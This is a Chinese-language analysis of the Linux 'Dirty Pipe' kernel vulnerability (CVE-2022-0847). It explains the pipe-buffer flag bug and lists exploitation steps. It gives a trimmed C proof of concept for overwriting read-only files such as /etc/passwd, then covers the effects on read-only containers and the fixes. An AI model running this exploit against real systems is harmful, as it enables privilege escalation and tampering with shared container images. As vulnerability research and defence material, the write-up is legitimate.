CVE-2022-0847:脏管道漏洞分析及对容器的影响
字数 1730 2025-08-27 12:33:37
CVE-2022-0847:脏管道漏洞分析与容器安全影响
漏洞概述
CVE-2022-0847,又称"Dirty Pipe"(脏管道)漏洞,是Linux内核5.8及之后版本中存在的一个任意文件覆盖漏洞。该漏洞允许普通用户本地提权至root特权,与之前出现的DirtyCow(CVE-2016-5195)漏洞原理类似。
影响范围:Linux内核5.8(由补丁f6dd975583bd引入)至5.16.11、5.15.25、5.10.102之间的版本。
漏洞原理
核心机制
漏洞源于内核管道(pipe)子系统中的一个变量未初始化问题,具体表现为:
- 管道缓冲区标志未初始化:
pipe_buffer.flags变量在某些情况下未被正确初始化 - 页面缓存篡改:利用
splice()系统调用实现"零拷贝"时,文件缓存页(page cache)会被错误地标记为可合并(PIPE_BUF_FLAG_CAN_MERGE) - 后续写入漏洞:被错误标记的页面缓存可以在后续pipe操作中被续写,导致文件内容被篡改
关键技术组件
管道(Pipe)机制
管道是Linux内核提供的进程间通信方式,通过pipe/pipe2函数创建,返回两个文件描述符(读端和写端)。关键函数:
pipe_read():管道读函数pipe_write():管道写函数
pipe_write()的关键逻辑:
if (chars && !was_empty) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
// 如果PIPE_BUF_FLAG_CAN_MERGE标志存在且写入不跨页,则续写
ret = pipe_buf_confirm(pipe, buf);
ret = copy_page_from_iter(buf->page, offset, chars, from);
buf->len += ret;
}
}
buf->flag默认初始化为PIPE_BUF_FLAG_CAN_MERGE,表示允许页面续写。
Splice系统调用
splice()实现了"零拷贝"文件传输:
- 不直接复制文件数据到用户空间,而是将文件页面缓存(page cache)以索引方式(内存页框地址、偏移量、长度)复制到
pipe_buffer结构体 - 避免了内核空间到用户空间的数据拷贝
- 漏洞利用的关键:将文件页面缓存错误地标记为可合并
漏洞利用
利用条件
- 目标文件必须有可读权限
- 写入不能改变文件大小
- 偏移量不能位于页面边界
- 写入不能跨页面边界
利用步骤
- 创建pipe
- 使用任意数据填充管道(填满Pipe的最大空间)
- 清空管道内数据
- 使用
splice()读取目标文件(只读)的1字节数据发送至pipe write()将任意数据继续写入pipe,此数据将会覆盖目标文件内容
PoC关键代码
// 准备带有PIPE_BUF_FLAG_CAN_MERGE标志的pipe
static void prepare_pipe(int p[2]) {
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
// 填满pipe
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
// 清空pipe
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
}
// 主利用函数
int main(int argc, char **argv) {
// ...参数处理...
// 打开目标文件(只读)
const int fd = open(path, O_RDONLY);
// 准备pipe
int p[2];
prepare_pipe(p);
// splice一个字节到pipe
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
// 写入要篡改的数据
nbytes = write(p[1], data, data_size);
// ...清理...
}
对Linux容器的影响
容器文件系统特性
- 分层结构:容器镜像由一组只读层组成,运行时添加读写层(COW)
- 只读模式:可以以
--read-only启动容器,省略读写层 - 临时性:停止容器时,读写层会被删除
漏洞影响表现
- 绕过只读限制:即使容器以只读模式运行,也能修改文件系统
- 持久性影响:修改会影响到基于同一镜像的新容器
- 跨容器影响:多个共享基础镜像的容器会同时受到影响
实际影响演示
- 构建包含exp的容器镜像
- 以只读模式启动容器,验证无法直接修改文件
- 运行exp修改
/etc/passwd等关键文件 - 退出后重新启动容器,验证修改仍然存在
- 多个容器共享同一基础镜像时,一个容器的修改会影响其他容器
防御措施
- 内核升级:升级到已修复版本(5.16.11、5.15.25、5.10.102或更高)
- 容器安全:
- 避免使用受影响内核版本运行容器
- 即使使用只读模式也无法完全防御此漏洞
- 考虑使用虚拟机提供更强隔离
- 权限控制:
- 最小化文件可读权限
- 使用文件系统扩展属性增强保护
参考资源
- 漏洞披露:https://dirtypipe.cm4all.com/
- 详细分析:https://github.com/chenaotian/CVE-2022-0847
- 内核修复补丁:commit 9d2231c5d74e13b2a0546fee6737ee4446017903
总结
CVE-2022-0847是一个严重的内核级漏洞,它打破了Linux系统中基本的权限边界,允许低权限用户修改只读文件。对于容器环境而言,这个漏洞特别危险,因为它可以绕过容器的只读文件系统保护,影响容器镜像的完整性。这再次证明了容器共享内核架构的安全局限性,在需要强隔离的场景中,应考虑结合虚拟机技术提供更全面的保护。